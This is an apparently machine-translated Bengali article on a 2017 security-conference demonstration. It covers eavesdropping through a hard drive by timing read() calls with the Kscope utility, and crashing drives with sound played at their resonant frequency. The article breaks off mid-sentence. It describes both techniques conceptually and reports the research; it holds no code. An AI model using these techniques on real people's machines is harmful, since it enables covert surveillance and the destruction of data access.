āĻ•ā§‡āĻ¨ āĻ†āĻĒāĻ¨āĻŋ āĻ†āĻĒāĻ¨āĻžāĻ° HDD āĻ āĻšāĻŋā§ŽāĻ•āĻžāĻ° āĻ•āĻ°āĻ¤ā§‡ āĻĒāĻžāĻ°āĻŦā§‡āĻ¨ āĻ¨āĻž

āĻ•ā§‡āĻ¨ āĻ†āĻĒāĻ¨āĻŋ āĻ†āĻĒāĻ¨āĻžāĻ° HDD āĻ āĻšāĻŋā§ŽāĻ•āĻžāĻ° āĻ•āĻ°āĻ¤ā§‡ āĻĒāĻžāĻ°āĻŦā§‡āĻ¨ āĻ¨āĻž

āĻŦā§āĻ¯āĻŧā§‡āĻ¨āĻ¸ āĻ†āĻ‡āĻ°ā§‡āĻ¸ā§‡ Ekoparty 2017 āĻ•āĻŽā§āĻĒāĻŋāĻ‰āĻŸāĻžāĻ° āĻ¸āĻŋāĻ•āĻŋāĻ‰āĻ°āĻŋāĻŸāĻŋ āĻ•āĻ¨āĻĢāĻžāĻ°ā§‡āĻ¨ā§āĻ¸ā§‡, āĻ†āĻ°ā§āĻœā§‡āĻ¨ā§āĻŸāĻŋāĻ¨āĻžāĻ° āĻšā§āĻ¯āĻžāĻ•āĻžāĻ° āĻ†āĻ˛āĻĢā§āĻ°ā§‡āĻĄā§‹ āĻ“āĻ°ā§āĻ¤ā§‡āĻ—āĻž āĻāĻ•āĻŸāĻŋ āĻ–ā§āĻŦ āĻ†āĻ•āĻ°ā§āĻˇāĻŖā§€āĻ¯āĻŧ āĻŦāĻŋāĻ•āĻžāĻļ āĻĻā§‡āĻ–āĻŋāĻ¯āĻŧā§‡āĻ›āĻŋāĻ˛ā§‡āĻ¨ - āĻāĻ•āĻŸāĻŋ āĻŽāĻžāĻ‡āĻ•ā§āĻ°ā§‹āĻĢā§‹āĻ¨ āĻŦā§āĻ¯āĻŦāĻšāĻžāĻ° āĻ¨āĻž āĻ•āĻ°ā§‡āĻ‡ āĻĒā§āĻ°āĻžāĻ™ā§āĻ—āĻ¨ā§‡ āĻ—ā§‹āĻĒāĻ¨ āĻ“āĻ¯āĻŧā§āĻ¯āĻžāĻ°āĻŸā§āĻ¯āĻžāĻĒ āĻ•āĻ°āĻžāĻ° āĻāĻ•āĻŸāĻŋ āĻ¸āĻŋāĻ¸ā§āĻŸā§‡āĻŽāĨ¤ āĻļāĻŦā§āĻĻ āĻ¸āĻ°āĻžāĻ¸āĻ°āĻŋ āĻšāĻžāĻ°ā§āĻĄ āĻĄā§āĻ°āĻžāĻ‡āĻ­ā§‡ āĻ°ā§‡āĻ•āĻ°ā§āĻĄ āĻ•āĻ°āĻž āĻšāĻ¯āĻŧā§‡āĻ›ā§‡!

HDD āĻĒā§āĻ°āĻ§āĻžāĻ¨āĻ¤ āĻ‰āĻšā§āĻš-āĻ¤ā§€āĻŦā§āĻ°āĻ¤āĻž āĻ•āĻŽ-āĻĢā§āĻ°āĻŋāĻ•ā§‹āĻ¯āĻŧā§‡āĻ¨ā§āĻ¸āĻŋ āĻļāĻŦā§āĻĻ, āĻĒāĻĻāĻšāĻŋāĻšā§āĻ¨ āĻāĻŦāĻ‚ āĻ…āĻ¨ā§āĻ¯āĻžāĻ¨ā§āĻ¯ āĻ•āĻŽā§āĻĒāĻ¨ āĻ—ā§āĻ°āĻšāĻŖ āĻ•āĻ°ā§‡āĨ¤ āĻŽāĻžāĻ¨ā§āĻˇā§‡āĻ° āĻŦāĻ•ā§āĻ¤ā§ƒāĻ¤āĻž āĻāĻ–āĻ¨āĻ“ āĻ¸ā§āĻŦā§€āĻ•ā§ƒāĻ¤ āĻšāĻ¤ā§‡ āĻĒāĻžāĻ°ā§‡ āĻ¨āĻž, āĻ¯āĻĻāĻŋāĻ“ āĻŦāĻŋāĻœā§āĻžāĻžāĻ¨ā§€āĻ°āĻž āĻāĻ‡ āĻĻāĻŋāĻ•ā§‡ āĻ—āĻŦā§‡āĻˇāĻŖāĻž āĻĒāĻ°āĻŋāĻšāĻžāĻ˛āĻ¨āĻž āĻ•āĻ°āĻ›ā§‡ (āĻ¨āĻŋāĻŽā§āĻ¨-āĻĢā§āĻ°āĻŋāĻ•ā§‹āĻ¯āĻŧā§‡āĻ¨ā§āĻ¸āĻŋ āĻ•āĻŽā§āĻĒāĻ¨ āĻĻā§āĻŦāĻžāĻ°āĻž āĻŦāĻ•ā§āĻ¤ā§ƒāĻ¤āĻž āĻ¸ā§āĻŦā§€āĻ•ā§ƒāĻ¤āĻŋ, āĻ¯āĻž āĻ°ā§‡āĻ•āĻ°ā§āĻĄ āĻ•āĻ°āĻž āĻšāĻ¯āĻŧ, āĻ‰āĻĻāĻžāĻšāĻ°āĻŖāĻ¸ā§āĻŦāĻ°ā§‚āĻĒ, āĻāĻ•āĻŸāĻŋ āĻœāĻžāĻ‡āĻ°ā§‹āĻ¸ā§āĻ•ā§‹āĻĒ āĻŦāĻž HDD āĻĨā§‡āĻ•ā§‡)āĨ¤

āĻļāĻŦā§āĻĻ āĻšāĻ˛ āĻŦāĻžāĻ¯āĻŧā§ āĻŦāĻž āĻ…āĻ¨ā§āĻ¯ āĻ•ā§‹āĻ¨ā§‹ āĻŽāĻžāĻ§ā§āĻ¯āĻŽā§‡āĻ° āĻ•āĻŽā§āĻĒāĻ¨āĨ¤ āĻāĻ•āĻœāĻ¨ āĻŦā§āĻ¯āĻ•ā§āĻ¤āĻŋ āĻ¤āĻžāĻĻā§‡āĻ° āĻ•āĻžāĻ¨ā§‡āĻ° āĻĒāĻ°ā§āĻĻāĻžāĻ° āĻŽāĻžāĻ§ā§āĻ¯āĻŽā§‡ āĻ‰āĻĒāĻ˛āĻŦā§āĻ§āĻŋ āĻ•āĻ°ā§‡, āĻ¯āĻž āĻ­āĻŋāĻ¤āĻ°ā§‡āĻ° āĻ•āĻžāĻ¨ā§‡ āĻ•āĻŽā§āĻĒāĻ¨ āĻĒā§āĻ°ā§‡āĻ°āĻŖ āĻ•āĻ°ā§‡āĨ¤ āĻŽāĻžāĻ‡āĻ•ā§āĻ°ā§‹āĻĢā§‹āĻ¨āĻŸāĻŋ āĻŽā§‹āĻŸāĻžāĻŽā§āĻŸāĻŋāĻ­āĻžāĻŦā§‡ āĻ•āĻžāĻ¨ā§‡āĻ° āĻŽāĻ¤ā§‹ āĻĄāĻŋāĻœāĻžāĻ‡āĻ¨ āĻ•āĻ°āĻž āĻšāĻ¯āĻŧā§‡āĻ›ā§‡ - āĻāĻ–āĻžāĻ¨ā§‡āĻ“, āĻ•āĻŽā§āĻĒāĻ¨āĻ—ā§āĻ˛āĻŋ āĻāĻ•āĻŸāĻŋ āĻĒāĻžāĻ¤āĻ˛āĻž āĻāĻŋāĻ˛ā§āĻ˛āĻŋ āĻĻā§āĻŦāĻžāĻ°āĻž āĻ°ā§‡āĻ•āĻ°ā§āĻĄ āĻ•āĻ°āĻž āĻšāĻ¯āĻŧ, āĻ¯āĻž āĻāĻ•āĻŸāĻŋ āĻŦā§ˆāĻĻā§āĻ¯ā§āĻ¤āĻŋāĻ• āĻ†āĻŦā§‡āĻ—āĻ•ā§‡ āĻ‰āĻ¤ā§āĻ¤ā§‡āĻœāĻŋāĻ¤ āĻ•āĻ°ā§‡āĨ¤ āĻšāĻžāĻ°ā§āĻĄ āĻĄā§āĻ°āĻžāĻ‡āĻ­, āĻ…āĻŦāĻļā§āĻ¯āĻ‡, āĻ†āĻļā§‡āĻĒāĻžāĻļā§‡āĻ° āĻŦāĻžāĻ¤āĻžāĻ¸ā§‡āĻ° āĻ“āĻ āĻžāĻ¨āĻžāĻŽāĻžāĻ° āĻ•āĻžāĻ°āĻŖā§‡ āĻŽāĻžāĻ‡āĻ•ā§āĻ°ā§‹āĻ¸ā§āĻ•ā§‹āĻĒāĻŋāĻ• āĻ•āĻŽā§āĻĒāĻ¨ā§‡āĻ° āĻŦāĻŋāĻˇāĻ¯āĻŧāĻ“āĨ¤ āĻāĻŸāĻŋ HDD-āĻāĻ° āĻĒā§āĻ°āĻ¯ā§āĻ•ā§āĻ¤āĻŋāĻ—āĻ¤ āĻŦā§ˆāĻļāĻŋāĻˇā§āĻŸā§āĻ¯ āĻĨā§‡āĻ•ā§‡āĻ“ āĻœāĻžāĻ¨āĻž āĻ¯āĻžāĻ¯āĻŧ: āĻ¨āĻŋāĻ°ā§āĻŽāĻžāĻ¤āĻžāĻ°āĻž āĻ¸āĻžāĻ§āĻžāĻ°āĻŖāĻ¤ āĻ¸āĻ°ā§āĻŦāĻžāĻ§āĻŋāĻ• āĻ…āĻ¨ā§āĻŽā§‹āĻĻāĻŋāĻ¤ āĻ•āĻŽā§āĻĒāĻ¨ āĻ¸ā§āĻ¤āĻ° āĻ¨āĻŋāĻ°ā§āĻĻā§‡āĻļ āĻ•āĻ°ā§‡ āĻāĻŦāĻ‚ āĻšāĻžāĻ°ā§āĻĄ āĻĄā§āĻ°āĻžāĻ‡āĻ­ āĻ¨āĻŋāĻœā§‡āĻ‡ āĻĒā§āĻ°āĻžāĻ¯āĻŧāĻļāĻ‡ āĻāĻŸāĻŋ āĻ°āĻžāĻŦāĻžāĻ° āĻŦāĻž āĻ…āĻ¨ā§āĻ¯āĻžāĻ¨ā§āĻ¯ āĻ…āĻ¨ā§āĻ¤āĻ°āĻ• āĻ‰āĻĒāĻžāĻĻāĻžāĻ¨ āĻĻāĻŋāĻ¯āĻŧā§‡ āĻ¤ā§ˆāĻ°āĻŋ āĻāĻ•āĻŸāĻŋ āĻ•āĻŽā§āĻĒāĻ¨-āĻĒā§āĻ°āĻŽāĻžāĻŖ āĻĒāĻžāĻ¤ā§āĻ°ā§‡ āĻ°āĻžāĻ–āĻžāĻ° āĻšā§‡āĻˇā§āĻŸāĻž āĻ•āĻ°ā§‡āĨ¤ āĻāĻŸāĻŋ āĻĨā§‡āĻ•ā§‡ āĻ¸āĻšāĻœā§‡āĻ‡ āĻ‰āĻĒāĻ¸āĻ‚āĻšāĻžāĻ°ā§‡ āĻ†āĻ¸āĻž āĻ¯āĻžāĻ¯āĻŧ āĻ¯ā§‡ HDD āĻŦā§āĻ¯āĻŦāĻšāĻžāĻ° āĻ•āĻ°ā§‡ āĻļāĻŦā§āĻĻ āĻ°ā§‡āĻ•āĻ°ā§āĻĄ āĻ•āĻ°āĻž āĻ¯āĻžāĻ¯āĻŧāĨ¤ āĻ¯āĻž āĻŦāĻžāĻ•āĻŋ āĻ†āĻ›ā§‡ āĻ¤āĻž āĻšāĻ˛ āĻ•āĻŋāĻ­āĻžāĻŦā§‡ āĻŦā§‡āĻ° āĻ•āĻ°āĻžāĨ¤

āĻ†āĻ˛āĻĢā§āĻ°ā§‡āĻĄā§‹ āĻ“āĻ°ā§āĻ¤ā§‡āĻ—āĻž āĻĒāĻžāĻ°ā§āĻļā§āĻŦ-āĻšā§āĻ¯āĻžāĻ¨ā§‡āĻ˛ āĻ†āĻ•ā§āĻ°āĻŽāĻŖā§‡āĻ° āĻāĻ•āĻŸāĻŋ āĻ…āĻ¨āĻ¨ā§āĻ¯ āĻ¸āĻ‚āĻ¸ā§āĻ•āĻ°āĻŖ āĻĒā§āĻ°āĻ¸ā§āĻ¤āĻžāĻŦ āĻ•āĻ°ā§‡āĻ›āĻŋāĻ˛ā§‡āĻ¨, āĻ¯āĻĨāĻž āĻāĻ•āĻŸāĻŋ āĻ¸āĻŽāĻ¯āĻŧ āĻ†āĻ•ā§āĻ°āĻŽāĻŖāĨ¤ āĻĒā§āĻ°āĻĻāĻ¤ā§āĻ¤ āĻ‡āĻ¨āĻĒā§āĻŸ āĻĄā§‡āĻŸāĻžāĻ° āĻ‰āĻĒāĻ° āĻ¨āĻŋāĻ°ā§āĻ­āĻ° āĻ•āĻ°ā§‡ āĻāĻ‡ āĻ†āĻ•ā§āĻ°āĻŽāĻŖāĻŸāĻŋ āĻāĻ‡ āĻ§āĻžāĻ°āĻŖāĻžāĻ° āĻ‰āĻĒāĻ° āĻ­āĻŋāĻ¤ā§āĻ¤āĻŋ āĻ•āĻ°ā§‡ āĻ¯ā§‡ āĻĄāĻŋāĻ­āĻžāĻ‡āĻ¸ā§‡ āĻŦāĻŋāĻ­āĻŋāĻ¨ā§āĻ¨ āĻ¸āĻŽāĻ¯āĻŧā§‡ āĻŦāĻŋāĻ­āĻŋāĻ¨ā§āĻ¨ āĻ…āĻĒāĻžāĻ°ā§‡āĻļāĻ¨ āĻ¸āĻžā§āĻšāĻžāĻ˛āĻŋāĻ¤ āĻšāĻ¯āĻŧāĨ¤ āĻāĻ‡ āĻ•ā§āĻˇā§‡āĻ¤ā§āĻ°ā§‡, "āĻ‡āĻ¨āĻĒā§āĻŸ āĻĄā§‡āĻŸāĻž" āĻšāĻ˛ āĻ°āĻŋāĻĄāĻŋāĻ‚ āĻšā§‡āĻĄ āĻāĻŦāĻ‚ āĻāĻ‡āĻšāĻĄāĻŋāĻĄāĻŋ āĻĒā§āĻ˛ā§āĻ¯āĻžāĻŸāĻžāĻ°ā§‡āĻ° āĻ•āĻŽā§āĻĒāĻ¨, āĻ¯āĻž āĻĒāĻ°āĻŋāĻŦā§‡āĻļā§‡āĻ° āĻ•āĻŽā§āĻĒāĻ¨ā§‡āĻ° āĻ¸āĻžāĻĨā§‡ āĻ¸āĻŽā§āĻĒāĻ°ā§āĻ•āĻ¯ā§āĻ•ā§āĻ¤, āĻ…āĻ°ā§āĻĨāĻžā§Ž āĻļāĻŦā§āĻĻā§‡āĻ° āĻ¸āĻžāĻĨā§‡āĨ¤ āĻāĻ‡āĻ­āĻžāĻŦā§‡, āĻ—āĻŖāĻ¨āĻžāĻ° āĻ¸āĻŽāĻ¯āĻŧ āĻĒāĻ°āĻŋāĻŽāĻžāĻĒ āĻ•āĻ°ā§‡ āĻāĻŦāĻ‚ āĻĄā§‡āĻŸāĻžāĻ° āĻĒāĻ°āĻŋāĻ¸āĻ‚āĻ–ā§āĻ¯āĻžāĻ¨āĻ—āĻ¤ āĻŦāĻŋāĻļā§āĻ˛ā§‡āĻˇāĻŖ āĻ•āĻ°ā§‡, āĻŽāĻžāĻĨāĻž/āĻĒā§āĻ˛ā§āĻ¯āĻžāĻŸāĻžāĻ°ā§‡āĻ° āĻ•āĻŽā§āĻĒāĻ¨ āĻāĻŦāĻ‚ āĻ¤āĻžāĻ‡ āĻŽāĻžāĻ§ā§āĻ¯āĻŽā§‡āĻ° āĻ•āĻŽā§āĻĒāĻ¨ āĻĒāĻ°āĻŋāĻŽāĻžāĻĒ āĻ•āĻ°āĻž āĻ¯ā§‡āĻ¤ā§‡ āĻĒāĻžāĻ°ā§‡āĨ¤ āĻĄā§‡āĻŸāĻž āĻĒāĻĄāĻŧāĻ¤ā§‡ āĻ¯āĻ¤ āĻŦā§‡āĻļāĻŋ āĻĻā§‡āĻ°āĻŋ āĻšāĻŦā§‡, HDD āĻ•āĻŽā§āĻĒāĻ¨ āĻ¤āĻ¤ āĻŦā§‡āĻļāĻŋ āĻļāĻ•ā§āĻ¤āĻŋāĻļāĻžāĻ˛ā§€ āĻšāĻŦā§‡ āĻāĻŦāĻ‚ āĻ¤āĻžāĻ‡, āĻļāĻŦā§āĻĻ āĻ¤āĻ¤ āĻŦā§‡āĻļāĻŋ āĻšāĻŦā§‡āĨ¤

āĻšāĻžāĻ°ā§āĻĄ āĻĄā§āĻ°āĻžāĻ‡āĻ­ āĻ•āĻŽā§āĻĒāĻ¨ āĻĒāĻ°āĻŋāĻŽāĻžāĻĒ āĻ•āĻŋāĻ­āĻžāĻŦā§‡? āĻ–ā§āĻŦ āĻ¸āĻšāĻœ: āĻļā§āĻ§ā§ āĻ¸āĻŋāĻ¸ā§āĻŸā§‡āĻŽ āĻ•āĻ˛ āĻšāĻžāĻ˛āĻžāĻ¨ read () — āĻāĻŦāĻ‚ āĻāĻŸāĻŋ āĻ¸āĻŽā§āĻĒā§‚āĻ°ā§āĻŖ āĻšāĻ¤ā§‡ āĻ¯ā§‡ āĻ¸āĻŽāĻ¯āĻŧ āĻ˛āĻžāĻ—ā§‡ āĻ¤āĻž āĻ°ā§‡āĻ•āĻ°ā§āĻĄ āĻ•āĻ°ā§āĻ¨āĨ¤ āĻ†āĻ§ā§āĻ¨āĻŋāĻ• āĻ…āĻĒāĻžāĻ°ā§‡āĻŸāĻŋāĻ‚ āĻ¸āĻŋāĻ¸ā§āĻŸā§‡āĻŽ āĻ†āĻĒāĻ¨āĻžāĻ•ā§‡ āĻ¨ā§āĻ¯āĻžāĻ¨ā§‹āĻ¸ā§‡āĻ•ā§‡āĻ¨ā§āĻĄ āĻ¨āĻŋāĻ°ā§āĻ­ā§āĻ˛āĻ¤āĻžāĻ° āĻ¸āĻžāĻĨā§‡ āĻ¸āĻŋāĻ¸ā§āĻŸā§‡āĻŽ āĻ•āĻ˛ā§‡āĻ° āĻ¸āĻŽāĻ¯āĻŧ āĻĒāĻĄāĻŧāĻ¤ā§‡ āĻĻā§‡āĻ¯āĻŧāĨ¤

āĻāĻ•āĻŸāĻŋ āĻ¸ā§‡āĻ•ā§āĻŸāĻ° āĻĨā§‡āĻ•ā§‡ āĻ¤āĻĨā§āĻ¯ āĻĒāĻĄāĻŧāĻžāĻ° āĻ—āĻ¤āĻŋ āĻŽāĻžāĻĨāĻž āĻāĻŦāĻ‚ āĻĒā§āĻ˛ā§‡āĻŸāĻžāĻ°ā§‡āĻ° āĻ…āĻŦāĻ¸ā§āĻĨāĻžāĻ¨ā§‡āĻ° āĻ‰āĻĒāĻ° āĻ¨āĻŋāĻ°ā§āĻ­āĻ° āĻ•āĻ°ā§‡, āĻ¯āĻž HDD āĻ•ā§‡āĻ¸ā§‡āĻ° āĻ•āĻŽā§āĻĒāĻ¨ā§‡āĻ° āĻ¸āĻžāĻĨā§‡ āĻ¸āĻŽā§āĻĒāĻ°ā§āĻ•āĻ¯ā§āĻ•ā§āĻ¤āĨ¤ āĻāĻ–āĻžāĻ¨ā§‡āĻ‡ āĻļā§‡āĻˇ.

āĻāĻ•āĻŸāĻŋ āĻ¸āĻžāĻ§āĻžāĻ°āĻŖ Kscope āĻ‡āĻ‰āĻŸāĻŋāĻ˛āĻŋāĻŸāĻŋ āĻŦā§āĻ¯āĻŦāĻšāĻžāĻ° āĻ•āĻ°ā§‡ āĻĒāĻ°āĻŋāĻ¸āĻ‚āĻ–ā§āĻ¯āĻžāĻ¨āĻ—āĻ¤ āĻŦāĻŋāĻļā§āĻ˛ā§‡āĻˇāĻŖ āĻ•āĻ°āĻž āĻšāĻ¯āĻŧāĨ¤ āĻ¯ā§‡āĻŽāĻ¨ āĻ¤āĻžāĻ°āĻž āĻŦāĻ˛ā§‡, āĻŦā§āĻĻā§āĻ§āĻŋāĻŽāĻžāĻ¨ āĻ¸āĻŦāĻ•āĻŋāĻ›ā§āĻ‡ āĻ¸āĻšāĻœāĨ¤

āĻ•ā§‡āĻ¨ āĻ†āĻĒāĻ¨āĻŋ āĻ†āĻĒāĻ¨āĻžāĻ° HDD āĻ āĻšāĻŋā§ŽāĻ•āĻžāĻ° āĻ•āĻ°āĻ¤ā§‡ āĻĒāĻžāĻ°āĻŦā§‡āĻ¨ āĻ¨āĻž
Kscope āĻ‡āĻ‰āĻŸāĻŋāĻ˛āĻŋāĻŸāĻŋ (stat() syscall)

āĻ¸āĻŋāĻ¸ā§āĻŸā§‡āĻŽ āĻ•āĻ˛ āĻāĻ•ā§āĻ¸āĻŋāĻ•āĻŋāĻ‰āĻļāĻ¨ āĻ¸āĻŽāĻ¯āĻŧā§‡āĻ° āĻ•ā§āĻˇā§āĻĻā§āĻ° āĻĒāĻžāĻ°ā§āĻĨāĻ•ā§āĻ¯āĻ—ā§āĻ˛āĻŋ āĻ•āĻ˛ā§āĻĒāĻ¨āĻž āĻ•āĻ°āĻžāĻ° āĻœāĻ¨ā§āĻ¯ Kscope āĻšāĻ˛ āĻāĻ•āĻŸāĻŋ āĻ›ā§‹āĻŸ āĻ‡āĻ‰āĻŸāĻŋāĻ˛āĻŋāĻŸāĻŋāĨ¤ āĻ‰ā§ŽāĻ¸GitHub āĻ āĻĒā§āĻ°āĻ•āĻžāĻļāĻŋāĻ¤.

āĻāĻ•āĻŸāĻŋ āĻĒā§ƒāĻĨāĻ• āĻ­āĻžāĻ¨ā§āĻĄāĻžāĻ°ā§‡ HDD-āĻ¸āĻŽāĻ¯āĻŧ āĻšāĻžāĻ°ā§āĻĄ āĻĄā§āĻ°āĻžāĻ‡āĻ­ā§‡ āĻŸāĻžāĻ‡āĻŽ āĻ…ā§āĻ¯āĻžāĻŸāĻžāĻ•ā§‡āĻ° āĻœāĻ¨ā§āĻ¯ āĻ•āĻ¨āĻĢāĻŋāĻ—āĻžāĻ° āĻ•āĻ°āĻž āĻ‡āĻ‰āĻŸāĻŋāĻ˛āĻŋāĻŸāĻŋāĻ° āĻāĻ•āĻŸāĻŋ āĻ¸āĻ‚āĻ¸ā§āĻ•āĻ°āĻŖ āĻ†āĻ›ā§‡, āĻ…āĻ°ā§āĻĨāĻžā§Ž āĻ¸āĻŋāĻ¸ā§āĻŸā§‡āĻŽ āĻ•āĻ˛ āĻŦāĻŋāĻļā§āĻ˛ā§‡āĻˇāĻŖ āĻ•āĻ°āĻžāĻ° āĻœāĻ¨ā§āĻ¯ āĻ•āĻ¨āĻĢāĻŋāĻ—āĻžāĻ° āĻ•āĻ°āĻž āĻšāĻ¯āĻŧā§‡āĻ›ā§‡ read ().

HDD āĻŦā§āĻ¯āĻŦāĻšāĻžāĻ° āĻ•āĻ°ā§‡ āĻ¸āĻžāĻ‰āĻ¨ā§āĻĄ āĻ°ā§‡āĻ•āĻ°ā§āĻĄāĻŋāĻ‚āĻ¯āĻŧā§‡āĻ° āĻĒā§āĻ°āĻĻāĻ°ā§āĻļāĻ¨, āĻ•ā§‡āĻ¸ā§āĻ•ā§‹āĻĒ āĻ‡āĻ‰āĻŸāĻŋāĻ˛āĻŋāĻŸāĻŋāĻ° āĻ…āĻĒāĻžāĻ°ā§‡āĻļāĻ¨


āĻ…āĻŦāĻļā§āĻ¯āĻ‡, āĻŦāĻ•ā§āĻ¤ā§ƒāĻ¤āĻž āĻāĻ­āĻžāĻŦā§‡ āĻŦā§‹āĻāĻž āĻ¯āĻžāĻ¯āĻŧ āĻ¨āĻž, āĻ¤āĻŦā§‡ āĻ•āĻŽā§āĻĒāĻ¨ āĻ¸ā§‡āĻ¨ā§āĻ¸āĻ° āĻšāĻŋāĻ¸āĻžāĻŦā§‡ HDD āĻŦā§‡āĻļ āĻ‰āĻĒāĻ¯ā§āĻ•ā§āĻ¤āĨ¤ āĻ‰āĻĻāĻžāĻšāĻ°āĻŖāĻ¸ā§āĻŦāĻ°ā§‚āĻĒ, āĻ†āĻĒāĻ¨āĻŋ āĻ°ā§‡āĻœāĻŋāĻ¸ā§āĻŸāĻžāĻ° āĻ•āĻ°āĻ¤ā§‡ āĻĒāĻžāĻ°ā§‡āĻ¨ āĻ¯āĻĻāĻŋ āĻļāĻ•ā§āĻ¤ āĻœā§āĻ¤āĻž āĻŦāĻž āĻ–āĻžāĻ˛āĻŋ āĻĒāĻžāĻ¯āĻŧā§‡ āĻ•ā§‹āĻ¨āĻ“ āĻŦā§āĻ¯āĻ•ā§āĻ¤āĻŋ āĻ•āĻŽā§āĻĒāĻŋāĻ‰āĻŸāĻžāĻ° āĻ¸āĻš āĻāĻ•āĻŸāĻŋ āĻ˜āĻ°ā§‡ āĻĒā§āĻ°āĻŦā§‡āĻļ āĻ•āĻ°ā§‡ (āĻ¸āĻŽā§āĻ­āĻŦāĻ¤, āĻ¯āĻĻāĻŋ āĻ†āĻ•ā§āĻ°āĻŽāĻŖāĻ•āĻžāĻ°ā§€ āĻ¨āĻ°āĻŽ āĻ¸ā§āĻ¨āĻŋāĻ•āĻžāĻ°ā§āĻ¸ āĻĒāĻ°ā§‡ āĻĨāĻžāĻ•ā§‡ āĻŦāĻž āĻŽā§‡āĻā§‡āĻ¤ā§‡ āĻāĻ•āĻŸāĻŋ āĻĒā§āĻ°ā§ āĻ•āĻžāĻ°ā§āĻĒā§‡āĻŸ āĻĨāĻžāĻ•ā§‡ āĻ¤āĻŦā§‡ HDD āĻ•āĻŽā§āĻĒāĻ¨ āĻ¨āĻŋāĻŦāĻ¨ā§āĻ§āĻ¨ āĻ•āĻ°āĻ¤ā§‡ āĻ¸āĻ•ā§āĻˇāĻŽ āĻšāĻŦā§‡ āĻ¨āĻž - āĻāĻŸāĻŋ āĻĒāĻ°ā§€āĻ•ā§āĻˇāĻž āĻ•āĻ°āĻžāĻ° āĻŽāĻ¤ā§‹)āĨ¤ āĻ•āĻŽā§āĻĒāĻŋāĻ‰āĻŸāĻžāĻ° āĻ­āĻžāĻ™ā§āĻ—āĻž āĻ•āĻžāĻš āĻŦāĻž āĻ…āĻ¨ā§āĻ¯āĻžāĻ¨ā§āĻ¯ āĻ˜āĻŸāĻ¨āĻžāĻ•ā§‡ āĻļāĻ•ā§āĻ¤āĻŋāĻļāĻžāĻ˛ā§€ āĻļāĻŦā§āĻĻā§‡āĻ° āĻ¤ā§€āĻŦā§āĻ°āĻ¤āĻžāĻ° āĻ¸āĻžāĻĨā§‡ āĻ¨āĻŋāĻŦāĻ¨ā§āĻ§āĻ¨ āĻ•āĻ°āĻ¤ā§‡ āĻ¸āĻ•ā§āĻˇāĻŽāĨ¤ āĻ…āĻ°ā§āĻĨāĻžā§Ž, āĻšāĻžāĻ°ā§āĻĄ āĻĄā§āĻ°āĻžāĻ‡āĻ­ āĻāĻ• āĻ§āĻ°āĻŖā§‡āĻ° āĻ…āĻ¨āĻ¨ā§āĻŽā§‹āĻĻāĻŋāĻ¤ āĻ…āĻ¨ā§āĻĒā§āĻ°āĻŦā§‡āĻļ āĻ¸āĻ¨āĻžāĻ•ā§āĻ¤āĻ•āĻ°āĻŖ āĻ¸āĻŋāĻ¸ā§āĻŸā§‡āĻŽ āĻšāĻŋāĻ¸āĻžāĻŦā§‡ āĻ•āĻžāĻœ āĻ•āĻ°āĻ¤ā§‡ āĻĒāĻžāĻ°ā§‡āĨ¤

HDD āĻšāĻ¤ā§āĻ¯āĻžāĻ•āĻžāĻ°ā§€

āĻ¯āĻžāĻ‡āĻšā§‹āĻ•, āĻāĻ•āĻŸāĻŋ āĻ…āĻ¨ā§āĻ°ā§‚āĻĒ āĻ•ā§ŒāĻļāĻ˛ āĻšāĻžāĻ°ā§āĻĄ āĻĄā§āĻ°āĻžāĻ‡āĻ­ āĻ¨āĻŋāĻˇā§āĻ•ā§āĻ°āĻŋāĻ¯āĻŧ āĻ•āĻ°āĻ¤ā§‡ āĻŦā§āĻ¯āĻŦāĻšāĻžāĻ° āĻ•āĻ°āĻž āĻ¯ā§‡āĻ¤ā§‡ āĻĒāĻžāĻ°ā§‡āĨ¤ āĻļā§āĻ§ā§āĻŽāĻžāĻ¤ā§āĻ° āĻāĻ–āĻžāĻ¨ā§‡ āĻ†āĻŽāĻ°āĻž āĻāĻ‡āĻšāĻĄāĻŋāĻĄāĻŋ āĻĨā§‡āĻ•ā§‡ āĻĻā§‹āĻ˛āĻ¨āĻ—ā§āĻ˛āĻŋ āĻ¸āĻ°āĻŋāĻ¯āĻŧā§‡ āĻĢā§‡āĻ˛āĻŋ āĻ¨āĻž, āĻ¤āĻŦā§‡ āĻŦāĻŋāĻĒāĻ°ā§€āĻ¤ā§‡, āĻ†āĻŽāĻ°āĻž āĻĻā§‹āĻ˛āĻ•āĻ—ā§āĻ˛āĻŋ āĻ¤ā§ˆāĻ°āĻŋ āĻ•āĻ°āĻŋ āĻ¯āĻž āĻāĻ‡āĻšāĻĄāĻŋāĻĄāĻŋāĻ•ā§‡ āĻ–āĻžāĻ“āĻ¯āĻŧāĻžāĻ¨ā§‹ āĻšāĻ¯āĻŧāĨ¤ āĻ†āĻĒāĻ¨āĻŋ āĻ¯āĻĻāĻŋ HDD āĻĢā§āĻ°āĻŋāĻ•ā§‹āĻ¯āĻŧā§‡āĻ¨ā§āĻ¸āĻŋāĻ° āĻ¸āĻžāĻĨā§‡ āĻ…āĻ¨ā§āĻ°āĻŖāĻŋāĻ¤ āĻĢā§āĻ°āĻŋāĻ•ā§‹āĻ¯āĻŧā§‡āĻ¨ā§āĻ¸āĻŋāĻ¤ā§‡ āĻ¸ā§āĻĒāĻŋāĻ•āĻžāĻ° āĻĨā§‡āĻ•ā§‡ āĻļāĻŦā§āĻĻ āĻŦāĻžāĻœāĻžāĻ¨, āĻ¤āĻžāĻšāĻ˛ā§‡ āĻ¸āĻŋāĻ¸ā§āĻŸā§‡āĻŽāĻŸāĻŋ āĻļā§€āĻ˜ā§āĻ°āĻ‡ āĻāĻ•āĻŸāĻŋ I/O āĻ¤ā§āĻ°ā§āĻŸāĻŋ āĻ¸āĻš āĻĄāĻŋāĻ­āĻžāĻ‡āĻ¸āĻŸāĻŋ āĻŦāĻ¨ā§āĻ§ āĻ•āĻ°ā§‡ āĻĻā§‡āĻ¯āĻŧ (āĻ˛āĻŋāĻ¨āĻžāĻ•ā§āĻ¸ āĻ•āĻžāĻ°ā§āĻ¨ā§‡āĻ˛ 120 ​​āĻ¸ā§‡āĻ•ā§‡āĻ¨ā§āĻĄ āĻĒāĻ°ā§‡ HDD āĻ¸āĻŽā§āĻĒā§‚āĻ°ā§āĻŖāĻ°ā§‚āĻĒā§‡ āĻŦāĻ¨ā§āĻ§ āĻ•āĻ°ā§‡ āĻĻā§‡āĻ¯āĻŧ)āĨ¤ āĻšāĻžāĻ°ā§āĻĄ āĻĄā§āĻ°āĻžāĻ‡āĻ­ āĻ¨āĻŋāĻœā§‡āĻ‡ 